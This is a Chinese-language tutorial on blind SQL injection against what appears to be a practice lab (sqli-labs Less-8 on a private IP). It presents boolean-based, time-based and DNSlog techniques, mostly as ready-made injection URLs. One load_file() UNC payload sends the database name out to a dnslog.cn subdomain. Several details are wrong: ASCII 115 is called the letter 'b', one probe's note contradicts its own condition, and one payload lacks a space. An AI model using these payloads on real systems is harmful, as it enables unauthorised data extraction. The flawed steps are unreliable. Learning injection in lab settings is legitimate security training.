文章目录
一.盲注概述
注是一种SQL注入攻击的形式,在这种攻击中,攻击者向目标应用程序发送恶意注入代码,然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入攻击不同的是,盲注攻击是页面不会将报错信息回显以及没有明显回显位的情况下,页面不直接返回任何有关数据库的具体错误信息,导致攻击者无法直接获得数据库中的数据。
盲注可以分为基于布尔逻辑的盲注和基于时间的盲注两种形式。
-
基于布尔逻辑的盲注:攻击者通过在恶意注入代码中利用布尔逻辑运算符(如AND、OR)来判断条件是否为真,从而推断出数据库中的信息。例如,攻击者可以通过尝试不同的条件来逐位地猜测数据库中的某个字符。
-
基于时间的盲注:攻击者在恶意注入代码中添加延时函数或sleep函数,通过观察应用程序是否延时来判断条件是否为真。例如,攻击者可以通过尝试不同的条件来判断数据库中某个字段的值是否满足条件,并通过延时函数来推断出正确的条件。
布尔盲注:
使用布尔盲注的页面通常只有两种页面效果即正确页面和错误页面。
正确页面:SQL语句能够被执行显示的页面,如下图
http://192.168.100.10/sql/Less-8/index.php?id=1
错误页面: SQL语句不能够被执行显示的页面,如下图
http://192.168.100.10/sql/Less-8/index.php?id=1'
无论正确页面或错误页面都无法直接回显数据,那么在这种情况下如何通过sql注入获取信息?
我们可以利用SQL语句被执行返回正确页面,SQL语句不能被正确执行返回错误页面来帮助我们判断我们输入的SQL语句是否正确,从而判断我们想要的信息是否属于该数据库。
演示案例:
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii('e')=101--+
注:ascii()函数可以将查询的内容转化为ascii码数字,字母e对应的数字是101
SQL语句分析:利用页面回显正确和错误的特性,若字母e对应的ascii码=101.则返回正确页面
通过上述案例,可以了解如何利用数据库帮助我们判断查询的信息是否正确,因此可以利用这一漏洞插入SQL语句来查询我们想要的信息
演示案例:
想要知晓当前页面查询的数据库名,可以通过ascii码值倒推出该数据库名,例如:ascii('e')=101 中 页面显示为正确页面则代表数据库名中包含字母e;显而易见,我们同样可以利用该数据库名是否在某一特定的区间内来判断当前页面查询的数据库名。案例如下:若该查询数据的acsii在大于100 小于102.则代表查询出的数据是字母e
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),2,1))=101--+
注:ascii()函数默认转译查询到数据的第一个字母且最大显示32位数据
substr((sql语句),2,1) 从第二个字符开始显示,每次显示一个字符
SQL语句分析:上述页面执行为正确页面说明。查询出的数据库名中的第二个字符是e
#查询数据库名中的第一个字母
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>101--+
注:执行成功代表库名第一个字母ascii码大于101
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>114--+
注:执行成功代表库名第一个字母ascii码大于114
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>116--+
注:执行成功代表库名第一个字母ascii码小于116
因此通过不断的迭代缩小ascii码范围可确定库名第一个字母ascii码大于114小于116,最终确定库名首字母ascii码是115 即字母b
时间盲注:
当页面没有报错回显,回显位,真假页面时,可以通过应用程序是否延迟来判断恶意SQL语句是否执行成功。
http://192.168.100.10/sql/Less-8/index.php?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(1),sleep(3))--+
注:sleep()延迟函数使程序延迟执行
if(SQL语句,sleep(1),sleep(3)):SQL语句执行成功程序延迟1秒执行,未成功延迟3秒执行
DNSlog盲注
布尔盲注和时间盲注的缺点需要大量的迭代查询,而DNSlog盲注则可以一步到位直接回显出我们需要的信息;
DNSlog可以拆开分为 DNS+log=域名解析+日志;DNS域名服务器/DNS日志服务器会将请求解析的域名记录在日志中,DNS日志和sql注入又有什么联系?有没有一种办法可以使安装数据库的服务器向DNS服务器请求域名解析?当服务器请求DNS解析域名的时候,我们可不可以在域名中插入恶意的SQL语句呢,这样我们需要解析的域名就会被显示到DNS日志服务器上?
为了完成上述目标我们需要了解以下内容:
确保数据库有读写权限
load_file()函数:
用于从文件系统中读取文件内容并将其作为字符串返回到 SQL 查询结果中
UNC路径:
\\IP(域名)\share\path\file
IP:需要访问的主机IP
share:表示共享资源的名称。
path:表示共享资源中的路径(可选)。
file:表示具体的文件名(可选)。
UNC路径是用于标识网络共享资源的一种命名约定UNC路径可以在本地文件系统中的路径上直接使用,以方便访问网络共享资源。
DNSlog注入中我们可以在注入时使用load_file(UNC路径)指示数据库去访问该路径下的内容并在访问的同时触发UNC路径去请求DNS服务器解析域名,而我们可以在需要解析的域名中插入SQL语句,案例如下:
id=1' and (select load_file(concat("//",(selectdatabase())."ryw4a6.dnslog.cn/benben.txt"))) --+
执行上述SQL注入语句后,DNS日志服务器中就可以查询到刚刚请求解析的域名,而secyrty就是我们想要知道的数据库名(下述DNS日志服务器可以记录以ryw4a6.dnslog.cn结尾的域名请求记录)